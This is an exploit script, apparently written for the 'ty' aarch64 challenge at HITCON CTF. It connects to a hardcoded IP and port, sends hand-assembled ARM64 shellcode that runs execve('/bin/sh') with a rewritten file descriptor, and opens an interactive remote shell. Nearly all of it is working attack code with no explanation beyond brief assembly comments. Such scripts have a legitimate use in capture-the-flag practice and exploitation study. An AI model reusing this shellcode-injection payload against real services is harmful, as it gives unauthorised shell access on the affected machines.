Exploit ty (aarch64 - arm64) Hitcon-ctf

xpl_ty_hitcon.py

#!/usr/bin/env python
from struct import *

from nulllife import *

s = NullSocket("210.71.253.109", 9123)

#shell address is 0x411468
shellcode  = struct.pack("<I", 0x90000000) #adrp x0, 0x411000
shellcode += struct.pack("<I", 0x91120000) #add	x0, x0, #0x480
shellcode += struct.pack("<I", 0xd2800002) #mov	x2, #0x0
shellcode += struct.pack("<I", 0xd2800001) #mov	x1, #0x0 
shellcode += struct.pack("<I", 0xd2801ba8) #mov	x8, #0xdd (execve syscall)
shellcode += struct.pack("<I", 0xd4000001) #svc 0
shellcode += "/bin/sh\x00"		#address = 0x411480

payload = str(len(shellcode))
payload = "0" * (8 - len(payload)) + payload #overwrite fd unrandom with 0 (stdin)
payload += shellcode
payload += "\x00" *  len(shellcode)

print '[*] Send payload...'
s.write(payload)
print '[+] Got shell...'
s.interactive()